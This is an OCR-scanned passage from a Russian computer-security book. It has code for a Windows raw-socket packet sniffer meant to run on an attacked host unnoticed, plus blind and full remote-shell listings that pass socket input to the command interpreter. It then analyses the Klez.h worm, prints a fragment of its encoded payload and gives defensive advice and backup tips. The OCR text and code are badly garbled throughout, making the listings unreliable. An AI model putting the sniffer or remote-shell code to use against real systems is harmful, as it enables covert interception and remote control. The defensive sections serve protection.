193 ^^^ваем соединение с удаленным узлом_____________ иг 5.6. Ключевой фрагмент кода пакетного sniffer's дистин • пОД Windows 2ООО/ХР И созвав сырой сокет ,f'((raw socket * socketCAF INET. SOCK_RAW. IPPROTOJP)) — -1) return -1: // вот тут некоторые руководства утверждают, что сырому сокету надо дать ц атрибут IP_HDRINCL. дать-то. конечно, можно, но ведь можно и не савать! // флаг IP_HDR1NCL сообщает системе, что аплеуха хочет сама формирсззть // IP заголовок отправляемых пакетов, а принятые пакеты ей отдаются с IP // заголовком в любом случае, подробности в PlatformSDK->TCP/IP Raw Sockets//if (setsockopt(raw_socket. IPPROTOJP. IP_HDRINCL. &optval. sizeof(optial))== -1)... // перечисляем все интерфейсы (то есть адреса IP-адресов всех шлюзс=. что // есть на компьютере, при ррр-подключении к интернету обычно имеется // всего один IP-адрес, назначенный DHCP сервером провайдера, однакс // в локальной сети это не так f ((zzz = WSAIoctl(raw socket. SIO ADDRESSJISTJUERY. 0. 0. addrlist. sizeof(addrlist). &N. 0. 0)) == SOCKETJRROR) return -1: // теперь мы должны сделать pi nd на все интерфейсы, выделив каждый в свой // поток (весь сокеты - блокируемые), однако в данном демонстрациожэм // примере слушается лишь IP первою попавшегося под руку интерфейса addr.sinjamily = AFJNET: addr.sin_addr = ((struct sockaddr In*) 11ist->Address[0].lpSockaddr)->sin_addr: if (bind(raw_socket. (struct sockaddr*) &addr. sizeof(addr))==SOCKE’_ERROR) return -1: #define SIO_RCVALL ОхЭВООООО] ll сообщаем системе, что мы хотим получат^ все пакеты, проходящие мгмо нее Tf (zzz=WSAIoct':(raw_socket,SIO_RCVALL ,&optval .sizeoftoptval ).O .O.&l.O.O)) return -1: H получаем все пакеты, приходящие на данный интерфейс whiled) ( if (den = recv(raw_socket. but. srzeof(b-jf). 0)) < 1) return -1; I Откомпилировав sniffer.c, запустите его па атакуемом узле с правами админи- стратора и отправьте с узла атакующего несколько TCP/UDP-пакетов, кото- РЫе пропускает брандмаузер. Смотрите, червь исправно вылавливает их! При- Чем никаких открытых портов па атакуемом компьютере педобавляется и факт ПеРехвата не фиксируется пи мониторами, ни локальными брандмауэрами. Разоблачения пассивных слушателей были разработаныспециальные мето- (краткое описание которых можно найти, например, здесь: http://www.ro- ^raham.com/pubs/sniffing-faq.html), однако практической пользы от них ника- 7 Зад 976
194 Глава 5. Побег через брандмаузер плюс терминализация всей м кой, так как все они ориентированы па борьбу с длительным прослушцван а червю для осуществления атаки требуется не больше нескольких секунд! *' ОРГАНИЗАЦИЯ УДАЛЕННОГО SHELL'A В UNIX И NT Потребность в удаленном shell’c испытывают не только хакеры, но и сами ад- министраторы. Знаете, как неохота бывает в дождливый день тащиться через весь город только затем, чтобы прикрутить фитилек «коптящего» NT-сервера на ходу стряхивая с себя остатки спа, да собственно даже не спа, а тех его жал- ких урывков в которые в изнеможении погружаешься прямо за монитором... В UNIX-цодобных операционных системах shell есть от рождения, а вот в NT его приходится реализовывать самостоятельно. Как это можно сделать? По сети хо- дит совершенно чудовищный код, перенаправляющий весь ввод/вывод порож- денного процесса в дескрипторы non-overlapping сокетов. Считается, что раз уж non-overlapping сокеты во многих отношениях ведут себя так же, как и обычные файловые манипуляторы, операционная система не заметит обмана, и команд- ный интерпретатор будет работать с удаленным терминалом так же, как и с ло- кальной консолью. Может быть (хотя это и крайне маловероятно), в какой-то из версий Windows такой прием и работает, однако на всех современных системах порожденный процесс попросту не знает, что ему с дескрипторами сокетов, соб- ственно, делать, и весь ввод/вывод проваливается в тартарары... СЛЕПОЙ SHELL Если разобраться, то для реализации удаленной атаки полноценный shell со- всем не обязателен, и на первых порах можно ограничиться «слепой» переда- чей команд штатного командного интерпретатора (естественно, с возможностью удаленного запуска различных утилит и, в частности, утилиты calcs, обеспечи- вающей управление таблицами управления доступа к файлам). В простейшем случае shell реализуется приблизительно так (листинг 5.7). Листинг 5.7. Ключевой фрагмент простейшего удаленного shell'a // чотаем цикл, принимая с сокета команды И пока есть что принимать while(l) { // поинимаем очередную порцию данных а = recv(csocket. &buf[p]. MAX_BUF_SIZF - р - 1. 0): // если соединение неожиданно закрылось, выходим из цикпа if (а < 1) break; j // увеличиваем счетчик кол-ва принятых символов-
195 срГянизаиия удаленного shell'a в UNIX и NT_______ и внесряен на конец строки завершающий ноль с -= a. cuf[p] = 0. // cipo^3 содержи; символ переноса строки? if ((Ch = strpbrk(bjf. xEOL)) != 0) ( // отсекаем символ переноса и очищаем счетчик *ch = 0: р = 0: //да. содержит // если строка не пуста, передаем ее командному // интерпретатору на выполнение if (strlen(buf)) { sprintf(cmd. 'fcfc". SHELL, buf): exec(cmd); ) else break: // если это пустая строка - выходим } ) ПОЛНОЦЕННЫЙ SHELL Для комфортного администрирования удаленной системы (равно как и для атаки на нее) возможностей «слепого» shell’a более чем недостаточно, и неуди- вительно, если у вас возникнет желание хоть чуточку его улучшить, достигнув «прозрачного» взаимодействия с терминалом. И это действительно можно сде- лать! В этом нам помогут каналы (они же «пайпы» — от английского pipe). Каналы, в отличие от сокетов, вполне корректно подключаются к дескрипто- рам ввода/вывода, и порожденный процесс работает с ними точно так же, как п со стандартным локальным терминалом, за тем исключением, что вызовы WriteConsole никогда не перенаправляются is пайп и потому удаленный терми- нал может работать далеко не со всеми консольными приложениями. Корректно написанный shell требует создания как минимум двух пайпов — один оудетобслуживать стандартный ввод, соответствующий дескриптору hStdlnput, Другой — стандартный вывод, соответствующий дескрипторам hStdOutput и hStdError. Дескрипторы самих пайпов обязательно должны быть наследуемы- ми, в противном случае порожденный процесс просто не сможет до них «дотя- нуться». А как сделать их наследуемыми? Да очень просто — всего лишь уста- новить флаг blnheritHandle в состояние TRUE, передавая его функции CreatePipe вместе со структурой LPSECURITYATTRIBUTES, инициализированной вполне есте- СТвениым образом. Остается подготовить структуру STARTUPINFO, сопоставив дескрипторы стандарт- но ввода/вывода наследуемым каналам, и ни is коем случае не забыть уста- ||авливать флаг STARTF USESTDHANDLES, иначе факт переназначения стандартных дескрипторов будет наглым образом проигнорирован. ^ДНако это еще не все, и самое интересное нас ждет впереди! Для связывания 1СаИалов с сокетом удаленного терминала нам потребуется реализовать сне- 1,11альный резидентный диспетчер, считывающий поступающие данные
196 Глава 5. Побег через брандмаузер плюс терминализацияд^ п перенаправляющий их в сокет или канал. Вся сложность в том, что проверь наличия данных в сокете (канале) должна быть неблокируемой, в противщ^ случае нам потребуются два диспетчера, каждый из которых будет выполцЯТь ся в «своем» потоке, что, согласитесь, громоздко, некрасиво и неэлегантно Обратившись к Platform SDK, мы найдем две полезные функции: РеегкМатеР,^ и ioctl socket. Первая отвечает за неблокируемое измерение «глубины» канада а вторая обслуживает сокеты. Теперь диспетчеризация ввода/вывода становится тривиальной (листинг 5.8). Листинг 5.8. Ключевой фрагмент полноценного удаленного shell'a вместе с диспетчером ввода/вывода sa. IpSecurityDescriptor = NULL: sa.nLength = sizeof(SECURITY_ATTRIBUTES): sa.blnheritHandle = TRUE: //allow inheritable handles if (!CreatePipe(&cstdin. &wstdin, &sa. 0)) return -1: //create stdin pipe if (LCreatePipet&rstdout. Scstdout. &sa. 0)) return -I: //create stdout pipe GetStartupInfo(&si): //set startupinfo for the spawned process si.dwFlags = STARTFJJSESTDHANDLES | STARTF_USESHOWWINDOH: Si.wShOwWindow = SW_HIDE: si.hStdOutput = cstdout: si.hStdError = cstdout: //set the new handles for the child process si.hStdInput = cstdin: //spawn the child process if (!CreateProcess(0. SHELL. 0. 0. TRUE. CREATE_NEW_CONSOLE. O.O.&si,&pi)) return -1: while(GetExitCodeProcess(pi.hProcess.&fexit) && (fexit == STILL_ACTIVE)) { //check to see if there is any data to read from stdout if (PeekNamedPipe(rstdout. buf. 1. &N. &total. 0) && N) { for (a = 0: a < total: a += MAX_BUF_S1ZE) { ReadFileLrstdout. buf. MAX_BUF_SIZE. &N. 0): sendlcsocket. buf. N. 0); } } if (!ioctlsocket(csocket. FIONREAD . &N) && N) recv(csocket. buf. 1. 0): if (*buf == '\x0A') WriteFiletwstdin. "\xOD". 1. &N. 0): WriteFile(wstdin. buf. 1. &N. 0): } Sleep!1): } Откомпилировав любой из предлагаемых файлов (как-то: bind.c, reverse.c, find-0 или reuse.c), вы получите вполне комфортный shell, обеспечивающий прозра4' ное управление удаленной системой. Только не пытайтесь запускать на №
, iMorm.Klez.h и все-все-все ------------------- ------------------------------------------------ pee равно ничего хорошего из этой затеи не выйдет! Другая пробл* внезапном разрыве соединения порожденные процессы так и остан' 1,11)1 -нться» в памяти, удерживая унаследованные сокеты и прспятству. Ирному использованию. Если это произойдет, вызовите Диспетчер 3; '''’рррбейте» всех «зомби» вручную. Разумеется, эту операцию можно осу ''твить и удаленно, воспользовавшись консольной утили- той типа kill. .раКЖе не помешает оснастить вашу версию shell’a проце- дурой авторизации, в противном случае в систему могут Проникнуть незваные гости, но это уже тема для совсем другого разговора. ВИРУС I-WORM.KLEZ.H И ВСЕ-ВСЕ-ВСЕ Несмотря на настойчивые рекомендации «Лаборатс, Касперского» предпринять необходимые меры в связи с растающей активностью опасной версии Интернет-t вя Klez, большинство пользователей легкомысленно от. лось к проблеме безопасности собственной информа^ Результатом стала глобальная вирусная эпидемия в. тернете. За последние несколько дней активности К1ег.Н в ели., технической поддержки «Лаборатории Касперского ступило более 12 тыс. обращений... Наталья Каспере генеральный директор «Лаборатории Касперск
198 Глава 5. Побег через брандмаузер плюс терминализация всей NT Не успели еще забыться печально известные CIH и I Love you!, как, пожалуй- ста, — вот вам новый вирус! Распишитесь в получении! Тем временем, пока пишутся эти строки, Сеть сотрясает очередная эпидемия, несущаяся по компь- ютерам со скоростью хорошенького лесного пожара. Печальнее всего то, что для активации этого вируса достаточно всего лишь просто просмотреть зара- женное письмо! Раньше требовалось, как минимум, открыть присоединенное к письму вложение или щелкнуть по содержащейся в письме ссылке (чего, как уже не раз говорилось, делать ни в коем случае не следует). Но обо всем по порядку... СТАРЫЙ СВЕТ Средн почтовых червей, созданных в прошлом веке, подлинных червяков - в строгом смысле этого слова — не было ни одного (за исключением вируса Мор- риса, конечно). Все многообразие вирусов (а их было написано несколько сотен, если не больше) сводилось фактически к одной-единственной идее. Берем виру- са (или любую другую зловредную программу), прицепляем аттачем к письму и отправляем его нескольким адресатам, надеясь, что кто-нибудь из них окажет- ся настолько глуп, что откроет и запустит зараженное вложение. Остальное, как говорится, дело техники — вирус сканирует адресную книгу (или папку «входя- щие»), находит несколько наугад взятых адресов и рассылает по ним свое тело от имени зараженной жертвы (или от имени, сгенерированного произвольным об- разом). Причем вирус может распространяться не только с исполняемыми ехе- файлами, но и с файлами документов, например, Word или Excel. ПРИМЕЧАНИЕ--------------------------------------------------------- Если пункта Быстрый просмотр в контекстном меню нет, это означает, что данный компо- нент не установлен. Чтобы его установить, следует открыть Панель управления, щелк- нуть на значке Установка и удаление программ, перейти к вкладке Установка Windows, выбрать Стандартные, войти через них в Состав и установить флажок напротив Быстрый просмотр. Остается вставить диск с дистрибьютивом Windows и нажать ОК. Все! Теперь никакие злобные макросы вам не страшны! Спите спокойно... Ну, почти спокойно. Естественно, защититься от таких вирусов очень просто, — если не открывать никаких потенциально опасных вложений, особенно полученных от неизвес. ных адресатов, можно чувствовать себя в полной безопасности. Конечно, со всем уж ничего не открывать не получится, — что делать, если, например. *8 Boss прислал очередной план работ в документе Word? К счастью, вместе с Windows (начиная с версии 95, если мне не изменяет память) поставляет замечательная утилита Быстрый просмотр, которая позволяет просматрив’^ содержимое документов MS Office, игнорируя при этом содержащиеся в макросы. Чтобы избежать заражения вирусом, следует действовать при л ’ тельно так. Обнаружив, что в письме есть вложение, мы сохраняем его на скажем, в панку Мои документы (в Outlook Express для этого в меню Файл точно выбрать пункт Сохранить вложения). Теперь открываем Мои докум ~ находим только что сохраненный файл, подводим к нему курсор и щелкаем г, вой клавишей мыши. Далее в появившемся контекстном меню выбираем У
вирус I-Worm.Klez.h и все-все-все 199 быстрый просмотр и с чувством глубокого удовлетворения читаем присланный нам документ. При желании можно даже Выделить все, нажав Ctrl+A, и скопиро- вать содержимое в Word или Excel для более комфортной работы (весь фокус в том, что вирусы — если они там есть — при таком переносе не получают уп- равления, а потому нс могут причинить нам никакого вреда). НОВЫЙ СВЕТ Словом, эти «недовирусы» никакого беспокойства у грамотных (или, соответ- ствующим образом проинструктированных) пользователей не вызывали, и эпи- демии носили достаточно скоротечный и бескровный характер. С появлением I-Worm.Kilez все изменилось. Это действительно самый настоящий червяк, а не его жалкая имитация. Вирус не требует для своего распространения практически никаких действий состороны пользователя, — достаточно лишь получить зараженное письмо с сер- вера и просмотреть его. Используя одну досадную ошибку, связанную с некор- ректной реализацией так называемых «плавающих фреймов» (IFRAME), ви- рус получает возможность автоматически запускать свое тело. Используя хитрый трюк, он маскируется под звуковой файл, предлагая системе проиграть его в фоновом режиме. «Что ж, — думает система, — звуковой файл это не волк, его можно впустить...», и — опа! — вместо звукового файла неожиданно запус- кает вируса. Все остальное уже не интересно. Вирус закрепляется в системе, попутно рассылая свои копии нескольким адресатам, взятым наугад из адрес- ной книги. Каждый из них, естественно, становится новой жертвой, зачастую даже не подозревающей о своем заражении, поскольку эта фаза распростране- ния вируса протекает скрыто. Развязка наступает 13 числа каждого четного месяца (в другой версии вируса — 6 числа всякого нечетного месяца), когда вирус начинает необратимо портить найденные на диски файлы и документы, забивая их мусором.... (Более подробно о поведении и проявлениях вируса I-Worm.Kilez можно прочитать в Вирусной Энциклопедии по следующему адре- сУ-‘ http://www.viruslist.com/viruslist.html?id=4415, мы же не будем больше отвлекать- ся на это.) v ак видно, чтоб ы защититься от такого вируса, одной осторожности уже стано- вится недостаточно! Проблему не спишешь на низкую квалификацию и непро- ЧКссионализм пользователей. Но что же, черт возьми, тогда нам делать? СП°СОБ № 1. АНТИВИРУСЫ заРВая -мысль, приходящая в голову при подозрении на вирус, это, конечно, в наиб°лее свежего антивируса, а еще лучше — двух или более сразу. У вы, ,10м случае такая стратегия не работает, — известные ему антивирусы «’’Рчбивает» при первой же попытке запуска, чем их полностью обес- сливает. (A I-Worm.Kilez знает очень много антивирусов!) гат^Н°’ конечно, загрузиться с заведомо чистой системной дискетки или попы- я Проверить компьютер но сети (через сеть червяк до антивируса уж точно
200 Глава 5. Побег через брандмаузер плюс терминализация всей NT не «дотянется»),но. .. Современные антивирусы разжирели настолько, что на одну дискетку уже не вмещаются, а сеть... увы, для подавляющего большинства до- машних пользовгтедей она все еще остается непозволительной роскошью. Впрочем, разработки антивирусов не сидят сложа руки, а готовят ответный удар. Уже появилось несколько вакцин, уверенно работающих даже в агрессив- ной заражен ной среде. Одну из таких утилит (занимающую, кстати, всего 80 ки- лобайт!) можно бесплатно скачать с сервера Евгения Касперского — создателя антивируса AVP(ne путать с Крисом Касперски - автором этой книги — это раз- ные люди, не имеющие друг к другу ни малейшего отношения). Воспользуйтесь следующей ссылай ftp://ftp.kaspersky.ru/utils/clrav.com или — если к моменту вы- хода книги в свет ссылка вдруг будет перемещена (что часто и случается) — зай- дите на главнуюслраницу cepBepawww.avp.ru. Вы получите полноценный анти- вирус, который может находить и лечить (!) следующие вирусы (не исключено, что к моменту выпуска книги этот список расширится): I-Worm.BleBla.b: I- Worm.Navidad; 1-Worm.sircam; I-Worm.Goner; I-Worm.Klez.a; I-Worm.Klez.e; I-Worm.Klez.f; I-Worm.Klez.h; Win32.Elkern.c. Только не удивляйтесь, если вместо привычных и красивых менюнек вы увидите скучный черный экран. А что еще вы хотели от бесплатной программы, занимающий меньше ста килобайт?! Запускайте CLRAV.COM с командной строки или из-под FAR’a, причем, под Windows 2000/ХР вы должны войти в систему с администраторскими приви- легиями. Если антивирус, прошуршав жестким диском, выдаст обнадеживающее Nothing to clean («Нечего чистить»), не обольщайтесь, а для более тщательной проверки запустите его с ключом /scanfiles. Например, так: "clrav.com /scan- files”, — после чего можете смело отправляться пить кофе (чай, пиво — по вку- су), так как полная проверка диска обычно занимает весьма длительное время. Все найденные нтаммы вируса будут автоматически, безо всяких запросов на лечение, удалены.Правда, в завершающей стадии лечения антивирус можетпо- требовать перезагрузки компьютера и повторного запуска CLRAV. СОМ — То finalize removal of infectionyou should reboot system and start program («Для заключитель- ного удаления инфекции вы должны перезагрузить систему и запустить про- грамму») — подразумевается программу антивируса. Это происходит вследствие того, что Windows6.4OKnpyeT исполняющиеся в настоящий момент файлы и вы- лечить их можно только до загрузки системы. Причем под Windows 9х жела- тельно перезагрузиться в «защищенном» (Safe Mode) режиме, для чего следует удерживать клавишу F5 во время загрузки компьютера. Несмотря на то, что надежность распознавания заразы и качество лечения до- статочно хороши, - это не повод чувствовать себя в безопасности, так как в лЮ бой момент может появиться новая модификация Kilez’a или даже приниипИ ально новый вирус, не знакомый даже самым свежим антивирусам... СПОСОБ № 2. ГЛАВНОЕ — ЭТО ЗАЩИТА В идеале вирус вообще не должен быть допущен на ваш компьютер, — т°г^а и проблем никаких не будет! Дыра в плавающих фреймах затыкается альной заплаткой,выпущенной Microsoft. Просто щелкните по следующей ссь'
Вирус I-Worm.Klez.h и все-все-все____________________________________________ 201 ке; vvww.microsoft.com/winclows/ie/downloacl/critical/Q290108/default.asp и, вниматель- но прочитав инструкцию по установке, выберите язык вашей операционной системы и скачайте обновления для вашей версии Internet Explorer. (Вот так, — чтобы заткнуть дыру в почтовом клиенте, необходимо обновить браузер, — вот такая, она, Microsoft!) Пакет обновления занимает немногим более половины мегабайта, но, к сожалению, он не снабжен никаким деинсталлятором и, чтобы удалить заплатку, — если вдруг она вызовет проблемы, — придется заново пе- реустанавливать всю операционную систему, что не есть хорошо. К сожалению, иного выхода нет... Если же в вашей системе эта дыра уже устранена (пакет обновления поставляется со многими продуктами Microsoft, например, Office 2000/ХР, и устанавливается автома- тически), заплатка откажется запускаться, сообщив, что вам это обновление устанав- ливать не требуется. Печально, но определить наличие обновления другом путем — чтобы знать, стоит ли скачивать полуметровый файл или нет, — невозможно. Во вся- ком случае, Microsoft не раскрывает этой тайны. СПОСОБ № 3. РУЧНАЯ РАБОТА Как говорится, на антивирусы надейся, а сам не плошай. Даже установив все заплатки, вы не заткнете все дыры, — ведь помимо известных, есть еще и неиз- вестные... до поры до времени неизвестные. Поэтому будет отнюдь не бесполез- но максимально затруднить вирусам и прочим злоумышленникам проникно- вение на ваш компьютер. Итак, первым делом заходим в меню Сервис ► Параметры, в появившемся диа- логовом окне переходим к вкладке Безопасность и устанавливаем переключа- тель в разделе Выберите зону безопасности для Internet Explorer из положения Зона Интернета (степень безопасности ниже, но работает быстрее) в положение Зона ограниченных узлов (степень безопасности выше). Подтверждаем свое намерение нажатием ОК и запускаем Internet Explorer. Так, теперь входим в меню Сервис ► Свойства обозревателя и в появившемся диалоговом окне переходим на вкладку Безопасность, где перемещаем ползунок Уровень безопасности для этой зоны в по- ложение Высокий. Пара советов напоследок. Во-первых, регулярно посещайте сервер Microsoft На предмет поиска всяких обновлений и своевременной их установки. Во-вто- Рь>х, отключите область предварительного просмотра сообщений в своем по- р ов°м клиенте (в Outlook Express для этого достаточно зайти в меню Вид ► кладка и в появившемся диалоге снять флажок с пункта Отображать область мотра). Эта мера позволит вручную исследовать все подозрительные со- ^Ния, имеющие вложения. А как их исследовать? Да очень просто — под- в ‘М.КУРСОР к «подследственному» сообщению, щелкаем на нем правой кла- 6 еИ мыши, в появившемся контекстном меню выбираем пункт Свойства, кНоЯв,1вшимся окне переходим на вкладку Подробности и наконец нажимаем об ПкУ Исходное сообщение. Остается только просмотреть исходный текст со- сти^'ия на предмет всяких подозрительностей. Что это за «подозрительно- ‘ Ну, в первую очередь теги <iframe>, потом секции Contenr-Tvno-
202 Глава 5. Побег через брандмаузер плюс терминализация всей цт содержащие исполняемые или командные файлы (рис. 5.9). Обнаружил кие в полученном письме, — немедленно сотрите его, ни в коем случае не от- крывая! Когда будете это делать, не забудьте, что при удалении писем они ц. самом деле не удаляются, а перемещаются в Корзину, — папку Удаленные, - От' куда по ошибке могут быть просмотрены вами впоследствии. Поэтому зантц те в Удаленные и сотрите зараженные письма и там. Уведомлять отправителя о заражении — излишне. Как показывает практика, в подавляющем больщИ11 стве случаев вирус подставляет фиктивный обратный адрес, совсем не совпа- дающий с истинным отправителем письма. • И и» йш&миип ЙI г. Content - Transfer-Encoding: quoted-® г intabXe *j <lfrabe 8rc«3pcid:TTi9d^7?4$.iheight^bC - <FCWT></FONT><ZfcODYX/HTllL> " --T0U5WC9ЖВ0 xnt9UW2$0 1Y<5$4& 7Z 3 Content-Type; andio/x-wav: name^S<a.bat Content-Transfer-Encoding: base64 Content-ID: <TT190Gfl76J5> Т'/дОААИААААЕАААЛ//8АА1дАААААААААОААХААААААААДААААААААААААААААААААДААлААА AJUUuAAAA2AAAAA4fug4AtAi^IlXjBTHOhVGhpcyBvcTO9^C!»FtI«Jhbm5vdCEiZSBydU4gaV^v И . RE9TIG.lvZvUuKQ0KGAAAAAAAAACYi33g3FYTs9z2t7Pc9h0gp+dt»932E7WX6h2zz/^"rr^TF :.j ' GbPtn9b0zvukAs9X2E7.Pc9hKzQ/ YTssTpGbPO9b0zZPAVs932 ЕТМ^аЬШоЗРTTsviMkU к А к л ; UEUA AEoBB ABcmAieAAAAAAAAAADgAASBCteEGAADAAAAAgAgAAAAAAHi АААААЕДАААНАА А А АД QAA АЕ AAAABAAAAQAAAAAAAAAB ААААААААА AAUARAABAAAAA А А ААСААА А к AAQAA AQ А А А А А Ь А/ АВ ААААААА AAQAAAAAAAAAAAlAMYlgAAX AAAAABACCjAQA ААААААААААААААА А А А ААААЛАА кк АААААААААААААААAAAAXAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/.AaAAA :::; AJJAAA0QBAAAAAAAAJUUkAAAAAAAAAAAAAAAAJULAAAAA-AudGV4dAAAAGq2 AAAAEAAJULMAAaAAQ \| Рис. 5.9. Так выглядит I-Worm.Kilez.h в исходном тексте сообщения И последнее — периодически контролируйте ветвь реестра HKLM\Software\Mic- rosoft\Windows\CurrentVersion\Run на предмет появления изменений. Все програм- мы, перечисленные в ней, автоматически запускаются при загрузке системы, и вирусы очень часто пользуются этой лазейкой, чтобы всегда быть «в седле»- Вообще-то большой беды не будет, если вы удалите все прописанные здесь штат ные программы (включая служебные). Также контролируйте список процессоров, вызываемый по Alt+Ctrl+Del или ото сражаемый в панели FAR, — появление нового процесса, никогда не ниДаН ного вами ранее, особенно состоящего из бессмысленного набора символов, верный признак заражения вирусом! В этом случае «прибейте» процесс (в для этого достаточно нажать DEL) и запустите самый свежий антивирус, а лУч ше — несколько антивирусов сразу. Даже если судьба отвела от вас всех предыдущих вирусов стороной, не ,,ыГ^’ тесь искушать ее еще раз, — бесконечно везти не может, и в самый неподх° щий момент везение вдруг закончится, заставляя взглянуть реалиям в ли1Ю- А реалии на настоящий момент таковы — никакие, даже самые-самые за1ЦИ щенные операционные системы, в том числе и широко рекламируемая Win(1<
,r T-Worm.Klez.h и все-все-все Bnpy£JJ--—--------------------- 203 XP по-настоящему защищенными не являются и допускают (если не сказать — провоцируют) существование и размножение вирусов. Небрежное отношение к собственной безопасности — нерегулярное обновле- ние антивирусов, игнорирование свежих заплаток, обычно заканчивается весь- ма трагично, особенно если вспомнить, сколько информации вмещает в себя жесткий диск среднего объема. И вся эта информация в считанные секунды может превратиться в груду бесполезного хлама, если не принять соответству- ющих превентивных мер. К сожалению, большинство пользователей обнов- ляет антивирусы и устанавливает заплатки лишь после появления подозре- ния на вирус, но не до того.... Стоит ли тогда удивляться масштабам вирусных эпидемий?
ЧАСТЬ III МЕТОДЫ БОРЬБЫ ...знаешь, Петька, проблемы можно решать по-разному. Можно просто напиться в дым, и они на время исчезнут. Но я предпо- читаю разбираться с ними до того, как они начнут разбирать- ся со мной. Один из героев повести Пелевина Глава 6 ПРЕВЕНТИВНЫЕ МЕРЫ ...главным образом, посвященная рытью окопов и возведению защитных сооружений Глава 7 МЕТОДИКА ОБНАРУЖЕНИЯ И УДАЛЕНИЯ ВИРУСО^, из которой читатель узнает, по каким тропам ходят вирУ устанавливает на них капканы, залегает в засаде и терпеливо ждет
Вирусы действительно представляют собой большую проблему, но, если сподобить себя пошевелиться до того, как жареный петух клю- нет, разрушения и ущерб можно свести к разумному минимуму. Известно, что на войне наибольшее преимущество получает пе тот, кто в совершенстве владеет искусством битвы, а тот, кто заблаговременно построит больше оборонительных сооружений. Лучше всего вообще не допускать вирусов на свой компьютер, уничтожая заразу еще в за- родыше. Но уж если она все-таки просочилась, важно успеть ее вовре- мя заметить и тщательно удалить, потушив все очаги возгорания, в про- тивном случае заболевания системы будет повторяться вновь и вновь. К сожалению, лишь немногие компьютерщики об этом вспоминают, ну а регулярные боевые «вылеты» проводят лишь считанные единицы. Не- сколько утрируя, можно сказать, что мы имеем дело с синдромом врож- денного иммунодефицита. А ведь вирусы — не спят! И день ото дня ста- новятся все коварнее, изощреннее и... сильнее! Рост пропускной способности сетевых каналов позволяет злоумышленникам заражать чу- довищное количество компьютеров за рекордно короткие сроки. Насколько мне известно, ни в одной из отечественных публикаций тех- ника ручной идентификации и уничтожения вирусов не освещена в полной мере. Большинство авторов в основном упирается в несколь- ко наобум взятых вирусов и в качестве основного средства лечения предлагает использовать антивирус, что, во-нервых, сильно смахивает на рекламу (антивируса), а во-вторых, подавляющее большинство пользователей крайне неохотно и не оперативно обновляют антиви- русные базы, в результате чего беда не заставляет себя ждать. Пренебрежительное отношение к собственной безопасности, — бес- спорное зло. Ведь пораженная вирусом жертва страдает от него не одна —она, пусть и непредумышленно, заражает всех остальных. С дру- гой стороны, паническая боязнь вирусов — зло еще большее и Салты- ковым-Щедриным в «Премудром Пескаре» злорадно, но тем не менее справедливо высмеянное. Не стоит, право же, лишать себя радости оби- тания во Всемирной Паутине только потому, что в ней существуют та- кие подлые твари, как хакеры и вирусы («хакеры» — в ругательном смысле этого слова, я ничего не имею против обобщенного образа ха- кера вообще, так как в некотором роде сам к ним отношусь). Каждый подхваченный вами вирус — это не только ваша личная проблема, но enie и проблема окружающих! Короче говоря, общественные устои обя- зывают воевать с вирусами даже тогда, когда вам лично они ничем не мешают. Поговаривают (врут, конечно), что через некоторое время даже за не- предумышленное распространение вирусов будут сажать — чтобы дру- еим неповадно было. Ну, насчет «сажать» они, конечно, загнули, но в°т вылететь с работы или лишиться Интернета (особенно в частной вокальной сети) за это и сейчас можно.
ГЛАВА 6 ПРЕВЕНТИВНЫЕ МЕРЫ, ...главным образом посвященная рытью окопов и возведению защитных сооружений Проводя параллель между биологическими и компьютерными вирусами, нельзя нс заметить, что основная причина заражения в обоих случаях одна и та же - несоблюдение элементарных гигиенических требований и неразборчивость в выборе партнеров. Типичный компьютерный пользователь похож на малень- кого ребенка, все без разбору тянущего в рот. Если не вирус, так расстройство желудка не заставит себя ждать. Проблема ведь не только в вирусах — порой не меньшие разрушения приносят и вполне легальные, но сильно «кривые» программы, В особенности это каса ется дисковых и файловых утилит — частенько после их работы все данные, хранящиеся на винчестере, приходят в полную негодность. И даже вполне зобидные на вид приложения, наподобие календаря или организатора, могут так испортить систему, что ее придется переустанавливать заново. В идеале каждая новая программа должна проходить карантин — тщательное тестирование на отдельном, специально для этого предназначенном, компью тере (или эмуляторе виртуального PC), на котором нет ничего ценного, такоГ°' что было бы жалко потерять. В крайнем случае, если на второй компьютер хватает средств, а вычислительная мощь процессора па эмулятор не тянет, Д карантинного «помещения» сгодится и отдельный жесткий диск (можно неболь шого размера). Очень важно подключить его так, чтобы программы, запу1ИеН
207 р^ерв^^ upm не «видели» основного диска и при всем своем желании не могли иые на н м’ .онего^ота^™^- ' можно добиться, подключив карантинный диск на отдельный шлейф своему» контроллеру IDE. Большинство BIOS позволяют выборочно отклю- чать IDE-контроллеры. «Ответственный» за такую операцию пункт обычно нт как Onboard IDE и предлагает на выбор Primary (включен только первый контроллер, разъем которого обычно помечен IDE-О), Secondary (включен толь- ко второй контроллер — IDE-1), Both (включены оба контроллера — состояние по умолчанию) и Disabled (выключены оба контроллера). При отключении пер- вого контроллера, скорее всего, потребуется «научить» BIOS загружаться со второго (не все это умеют делать по умолчанию). Для этого требуется найти в настройках переключатель наподобие Boot device и установить его в Boot from IDE-1 или Boot form secondary IDE. ВНИМАНИЕ---------------------------------------------------------------- Отключение дискового контроллера не стоит путать с выборочным отключением каждо- го из IDE-устройств в главном меню Setup BIOS. Первое обходится с большим трудом (если обходится вообще, поскольку процедура обратного включения контроллера спе- цифична для конкретной микросхемы южного моста), последнее же взломать элемен- тарно. Если возможности купить даже захудалый винчестер нет, остается «трениро- ваться на кошках» — ваших приятелях, устанавливая на свой компьютер толь- ко проверенные на чужой шкуре приложения. Разумеется, карантин сам по себе никаких гарантий не дает и не всегда предот- вращает вторжение вирусов, но многократно снижает вероятность любых не- приятных происшествий. РЕЗЕРВНОЕ копирование Прежде чем говорить о резервном копировании, следует заметить, что целост- ности ваших данных угрожают не столько вирусы, сколько сбои оборудования, ошибки программного обеспечения, неверные действия операторов и... лаже Дубы центрального отопления, которые в любой момент может прорвать. По статистике, вирусы составляют лишь малую часть от всех причин разрушения Данных вообще. Высокая надежность современной вычислительной техники с°здает обманчивую иллюзию ее полной благонадежности и о необходимости своевременного резервного копирования подавляющее большинство пользо- телей просто забывает. И это в наш-то век победного шествия резервных на- пителей всех видов и емкостей! Ладно, стриммеры — это долго, Iomega Zip — ишком Дорого> НС) что мешаст приобрести CR-RW, а еще лучше DVD? Ми- Рная стоимость самого привода, практически бесплатные «болванки» и су- сшедщая скорость записи позволяют резервировать содержимое своего жест- г° Диска едва ли не каждый лень, тратя на это не более десятка минут
